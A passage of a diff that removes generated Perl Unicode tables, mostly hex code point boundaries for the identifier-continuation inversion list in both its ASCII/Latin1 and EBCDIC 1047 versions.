0x1B5A, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1BF4, - 0x1C00, - 0x1C38, - 0x1C40, - 0x1C4A, - 0x1C4D, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CFA, - 0x1D00, - 0x1DFA, - 0x1DFB, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x203F, - 0x2041, - 0x2054, - 0x2055, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x20D0, - 0x20DD, - 0x20E1, - 0x20E2, - 0x20E5, - 0x20F1, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E00, - 0x3005, - 0x3008, - 0x3021, - 0x3030, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3041, - 0x3097, - 0x3099, - 0x309B, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA62C, - 0xA640, - 0xA670, - 0xA674, - 0xA67E, - 0xA67F, - 0xA6F2, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA828, - 0xA840, - 0xA874, - 0xA880, - 0xA8C6, - 0xA8D0, - 0xA8DA, - 0xA8E0, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA900, - 0xA92E, - 0xA930, - 0xA954, - 0xA960, - 0xA97D, - 0xA980, - 0xA9C1, - 0xA9CF, - 0xA9DA, - 0xA9E0, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAF0, - 0xAAF2, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABEB, - 0xABEC, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFC5E, - 0xFC64, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFA, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFE33, - 0xFE35, - 0xFE4D, - 0xFE50, - 0xFE71, - 0xFE72, - 0xFE73, - 0xFE74, - 0xFE77, - 0xFE78, - 0xFE79, - 0xFE7A, - 0xFE7B, - 0xFE7C, - 0xFE7D, - 0xFE7E, - 0xFE7F, - 0xFEFD, - 0xFF10, - 0xFF1A, - 0xFF21, - 0xFF3B, - 0xFF3F, - 0xFF40, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x101FD, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102E1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE7, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11000, - 0x11047, - 0x11066, - 0x11070, - 0x1107F, - 0x110BB, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11140, - 0x11150, - 0x11174, - 0x11176, - 0x11177, - 0x11180, - 0x111C5, - 0x111CA, - 0x111CD, - 0x111D0, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x11238, - 0x1123E, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1144B, - 0x11450, - 0x1145A, - 0x11480, - 0x114C6, - 0x114C7, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115D8, - 0x115DE, - 0x11600, - 0x11641, - 0x11644, - 0x11645, - 0x11650, - 0x1165A, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x1173A, - 0x118A0, - 0x118EA, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C41, - 0x11C50, - 0x11C5A, - 0x11C72, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF5, - 0x16B00, - 0x16B37, - 0x16B40, - 0x16B44, - 0x16B50, - 0x16B5A, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9D, - 0x1BC9F, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D173, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8D0, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0100, - 0xE01F0 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL__PERL_IDCONT_invlist[] = { /* for EBCDIC 1047 */ - 1417, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x6D, - 0x6E, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xBA, - 0xBB, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xFA, - 0xFB, - 0xFF, - 0x100, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x300, - 0x375, - 0x376, - 0x378, - 0x37B, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x483, - 0x488, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x610, - 0x61B, - 0x620, - 0x66A, - 0x66E, - 0x6D4, - 0x6D5, - 0x6DD, - 0x6DF, - 0x6E9, - 0x6EA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x82E, - 0x840, - 0x85C, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E2, - 0x8E3, - 0x964, - 0x966, - 0x970, - 0x971, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB70, - 0xB71, - 0xB72, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF0, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC80, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4F, - 0xD54, - 0xD58, - 0xD5F, - 0xD64, - 0xD66, - 0xD70, - 0xD7A, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF4, - 0xE01, - 0xE3B, - 0xE40, - 0xE4F, - 0xE50, - 0xE5A, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF18, - 0xF1A, - 0xF20, - 0xF2A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF85, - 0xF86, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x1000, - 0x104A, - 0x1050, - 0x109E, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x1360, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1735, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17D4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DE, - 0x17E0, - 0x17EA, - 0x180B, - 0x180E, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1946, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DA, - 0x1A00, - 0x1A1C, - 0x1A20, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA7, - 0x1AA8, - 0x1AB0, - 0x1ABE, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B5A, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1BF4, - 0x1C00, - 0x1C38, - 0x1C40, - 0x1C4A, - 0x1C4D, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CFA, - 0x1D00, - 0x1DFA, - 0x1DFB, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x203F, - 0x2041, - 0x2054, - 0x2055, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x20D0, - 0x20DD, - 0x20E1, - 0x20E2, - 0x20E5, - 0x20F1, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E00, - 0x3005, - 0x3008, - 0x3021, - 0x3030, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3041, - 0x3097, - 0x3099, - 0x309B, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA62C, - 0xA640, - 0xA670, - 0xA674, - 0xA67E, - 0xA67F, - 0xA6F2, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA828, - 0xA840, - 0xA874, - 0xA880, - 0xA8C6, - 0xA8D0, - 0xA8DA, - 0xA8E0, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA900, - 0xA92E, - 0xA930, - 0xA954, - 0xA960, - 0xA97D, - 0xA980, - 0xA9C1, - 0xA9CF, - 0xA9DA, - 0xA9E0, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAF0, - 0xAAF2, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABEB, - 0xABEC, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFC5E, - 0xFC64, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFA, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFE33, - 0xFE35, - 0xFE4D, - 0xFE50, - 0xFE71, - 0xFE72, - 0xFE73, - 0xFE74, - 0xFE77, - 0xFE78, - 0xFE79, - 0xFE7A, - 0xFE7B, - 0xFE7C, - 0xFE7D, - 0xFE7E, - 0xFE7F, - 0xFEFD, - 0xFF10, - 0xFF1A, - 0xFF21, - 0xFF3B, - 0xFF3F, - 0xFF40, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x101FD, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102E1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10A60, - 0x10A7D, - 0x10A80, - 